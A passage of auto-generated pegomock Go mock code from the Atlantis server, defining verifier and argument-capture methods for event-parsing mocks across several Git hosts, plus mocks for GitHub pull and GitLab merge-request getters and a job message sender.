*MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetCapturedArguments() azuredevops.Event { pullEvent := c.GetAllCapturedArguments() return pullEvent[len(pullEvent)-1] } func (c *MockEventParsing_ParseAzureDevopsPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []azuredevops.Event) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]azuredevops.Event, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(azuredevops.Event) } } } return } func (verifier *VerifierMockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification { _params := []pegomock.Param{adRepo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAzureDevopsRepo", _params, verifier.timeout) return &MockEventParsing_ParseAzureDevopsRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseAzureDevopsRepo_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetCapturedArguments() *azuredevops.GitRepository { adRepo := c.GetAllCapturedArguments() return adRepo[len(adRepo)-1] } func (c *MockEventParsing_ParseAzureDevopsRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*azuredevops.GitRepository) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*azuredevops.GitRepository, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*azuredevops.GitRepository) } } } return } func (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification { _params := []pegomock.Param{body} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketCloudPullCommentEvent", _params, verifier.timeout) return &MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte { body := c.GetAllCapturedArguments() return body[len(body)-1] } func (c *MockEventParsing_ParseBitbucketCloudPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.([]byte) } } } return } func (verifier *VerifierMockEventParsing) ParseBitbucketCloudPullEvent(body []byte) *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification { _params := []pegomock.Param{body} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketCloudPullEvent", _params, verifier.timeout) return &MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification) GetCapturedArguments() []byte { body := c.GetAllCapturedArguments() return body[len(body)-1] } func (c *MockEventParsing_ParseBitbucketCloudPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.([]byte) } } } return } func (verifier *VerifierMockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification { _params := []pegomock.Param{body} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketServerPullCommentEvent", _params, verifier.timeout) return &MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetCapturedArguments() []byte { body := c.GetAllCapturedArguments() return body[len(body)-1] } func (c *MockEventParsing_ParseBitbucketServerPullCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.([]byte) } } } return } func (verifier *VerifierMockEventParsing) ParseBitbucketServerPullEvent(body []byte) *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification { _params := []pegomock.Param{body} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseBitbucketServerPullEvent", _params, verifier.timeout) return &MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetCapturedArguments() []byte { body := c.GetAllCapturedArguments() return body[len(body)-1] } func (c *MockEventParsing_ParseBitbucketServerPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 [][]byte) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([][]byte, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.([]byte) } } } return } func (verifier *VerifierMockEventParsing) ParseGiteaIssueCommentEvent(event gitea0.GiteaIssueCommentPayload) *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification { _params := []pegomock.Param{event} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGiteaIssueCommentEvent", _params, verifier.timeout) return &MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification) GetCapturedArguments() gitea0.GiteaIssueCommentPayload { event := c.GetAllCapturedArguments() return event[len(event)-1] } func (c *MockEventParsing_ParseGiteaIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []gitea0.GiteaIssueCommentPayload) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]gitea0.GiteaIssueCommentPayload, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(gitea0.GiteaIssueCommentPayload) } } } return } func (verifier *VerifierMockEventParsing) ParseGiteaPull(pull *gitea.PullRequest) *MockEventParsing_ParseGiteaPull_OngoingVerification { _params := []pegomock.Param{pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGiteaPull", _params, verifier.timeout) return &MockEventParsing_ParseGiteaPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGiteaPull_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGiteaPull_OngoingVerification) GetCapturedArguments() *gitea.PullRequest { pull := c.GetAllCapturedArguments() return pull[len(pull)-1] } func (c *MockEventParsing_ParseGiteaPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*gitea.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*gitea.PullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*gitea.PullRequest) } } } return } func (verifier *VerifierMockEventParsing) ParseGiteaPullRequestEvent(event gitea.PullRequest) *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification { _params := []pegomock.Param{event} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGiteaPullRequestEvent", _params, verifier.timeout) return &MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification) GetCapturedArguments() gitea.PullRequest { event := c.GetAllCapturedArguments() return event[len(event)-1] } func (c *MockEventParsing_ParseGiteaPullRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []gitea.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]gitea.PullRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(gitea.PullRequest) } } } return } func (verifier *VerifierMockEventParsing) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification { _params := []pegomock.Param{logger, comment} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubIssueCommentEvent", _params, verifier.timeout) return &MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.IssueCommentEvent) { logger, comment := c.GetAllCapturedArguments() return logger[len(logger)-1], comment[len(comment)-1] } func (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.IssueCommentEvent) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]*github.IssueCommentEvent, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*github.IssueCommentEvent) } } } return } func (verifier *VerifierMockEventParsing) ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) *MockEventParsing_ParseGithubPull_OngoingVerification { _params := []pegomock.Param{logger, ghPull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubPull", _params, verifier.timeout) return &MockEventParsing_ParseGithubPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGithubPull_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.PullRequest) { logger, ghPull := c.GetAllCapturedArguments() return logger[len(logger)-1], ghPull[len(ghPull)-1] } func (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]*github.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*github.PullRequest) } } } return } func (verifier *VerifierMockEventParsing) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) *MockEventParsing_ParseGithubPullEvent_OngoingVerification { _params := []pegomock.Param{logger, pullEvent} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubPullEvent", _params, verifier.timeout) return &MockEventParsing_ParseGithubPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGithubPullEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *github.PullRequestEvent) { logger, pullEvent := c.GetAllCapturedArguments() return logger[len(logger)-1], pullEvent[len(pullEvent)-1] } func (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*github.PullRequestEvent) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]*github.PullRequestEvent, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*github.PullRequestEvent) } } } return } func (verifier *VerifierMockEventParsing) ParseGithubRepo(ghRepo *github.Repository) *MockEventParsing_ParseGithubRepo_OngoingVerification { _params := []pegomock.Param{ghRepo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubRepo", _params, verifier.timeout) return &MockEventParsing_ParseGithubRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGithubRepo_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetCapturedArguments() *github.Repository { ghRepo := c.GetAllCapturedArguments() return ghRepo[len(ghRepo)-1] } func (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.Repository) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*github.Repository, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*github.Repository) } } } return } func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequest(mr *client_go.MergeRequest, baseRepo models.Repo) *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification { _params := []pegomock.Param{mr, baseRepo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequest", _params, verifier.timeout) return &MockEventParsing_ParseGitlabMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGitlabMergeRequest_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetCapturedArguments() (*client_go.MergeRequest, models.Repo) { mr, baseRepo := c.GetAllCapturedArguments() return mr[len(mr)-1], baseRepo[len(baseRepo)-1] } func (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []*client_go.MergeRequest, _param1 []models.Repo) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*client_go.MergeRequest, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*client_go.MergeRequest) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } } return } func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestCommentEvent(event client_go.MergeCommentEvent) *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification { _params := []pegomock.Param{event} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestCommentEvent", _params, verifier.timeout) return &MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetCapturedArguments() client_go.MergeCommentEvent { event := c.GetAllCapturedArguments() return event[len(event)-1] } func (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeCommentEvent) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]client_go.MergeCommentEvent, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(client_go.MergeCommentEvent) } } } return } func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestEvent(event client_go.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification { _params := []pegomock.Param{event} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestEvent", _params, verifier.timeout) return &MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetCapturedArguments() client_go.MergeEvent { event := c.GetAllCapturedArguments() return event[len(event)-1] } func (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeEvent) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]client_go.MergeEvent, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(client_go.MergeEvent) } } } return } func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestUpdateEvent(event client_go.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification { _params := []pegomock.Param{event} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestUpdateEvent", _params, verifier.timeout) return &MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } func (c *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification) GetCapturedArguments() client_go.MergeEvent { event := c.GetAllCapturedArguments() return event[len(event)-1] } func (c *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeEvent) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]client_go.MergeEvent, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(client_go.MergeEvent) } } } return } ================================================ FILE: server/events/mocks/mock_github_pull_getter.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: GithubPullGetter) package mocks import ( github "github.com/google/go-github/v83/github" pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockGithubPullGetter struct { fail func(message string, callerSkip ...int) } func NewMockGithubPullGetter(options ...pegomock.Option) *MockGithubPullGetter { mock := &MockGithubPullGetter{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockGithubPullGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGithubPullGetter) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockGithubPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubPullGetter().") } _params := []pegomock.Param{logger, repo, pullNum} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", _params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *github.PullRequest var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*github.PullRequest) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockGithubPullGetter) VerifyWasCalledOnce() *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockGithubPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockGithubPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockGithubPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockGithubPullGetter struct { mock *MockGithubPullGetter invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockGithubPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockGithubPullGetter_GetPullRequest_OngoingVerification { _params := []pegomock.Param{logger, repo, pullNum} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", _params, verifier.timeout) return &MockGithubPullGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockGithubPullGetter_GetPullRequest_OngoingVerification struct { mock *MockGithubPullGetter methodInvocations []pegomock.MethodInvocation } func (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) { logger, repo, pullNum := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1] } func (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } } return } ================================================ FILE: server/events/mocks/mock_gitlab_merge_request_getter.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: GitlabMergeRequestGetter) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" logging "github.com/runatlantis/atlantis/server/logging" client_go "gitlab.com/gitlab-org/api/client-go" "reflect" "time" ) type MockGitlabMergeRequestGetter struct { fail func(message string, callerSkip ...int) } func NewMockGitlabMergeRequestGetter(options ...pegomock.Option) *MockGitlabMergeRequestGetter { mock := &MockGitlabMergeRequestGetter{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockGitlabMergeRequestGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGitlabMergeRequestGetter) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockGitlabMergeRequestGetter) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*client_go.MergeRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGitlabMergeRequestGetter().") } _params := []pegomock.Param{logger, repoFullName, pullNum} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetMergeRequest", _params, []reflect.Type{reflect.TypeOf((**client_go.MergeRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *client_go.MergeRequest var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*client_go.MergeRequest) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledOnce() *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockGitlabMergeRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockGitlabMergeRequestGetter struct { mock *MockGitlabMergeRequestGetter invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockGitlabMergeRequestGetter) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification { _params := []pegomock.Param{logger, repoFullName, pullNum} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetMergeRequest", _params, verifier.timeout) return &MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification struct { mock *MockGitlabMergeRequestGetter methodInvocations []pegomock.MethodInvocation } func (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string, int) { logger, repoFullName, pullNum := c.GetAllCapturedArguments() return logger[len(logger)-1], repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] } func (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string, _param2 []int) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } } return } ================================================ FILE: server/events/mocks/mock_job_message_sender.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events (interfaces: JobMessageSender) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockJobMessageSender struct { fail func(message string, callerSkip ...int) } func NewMockJobMessageSender(options ...pegomock.Option) *MockJobMessageSender { mock := &MockJobMessageSender{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockJobMessageSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockJobMessageSender) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockJobMessageSender) Send(ctx command.ProjectContext, msg string, operationComplete bool) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockJobMessageSender().") } _params := []pegomock.Param{ctx, msg, operationComplete} pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{}) } func (mock *MockJobMessageSender) VerifyWasCalledOnce() *VerifierMockJobMessageSender { return &VerifierMockJobMessageSender{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockJobMessageSender) 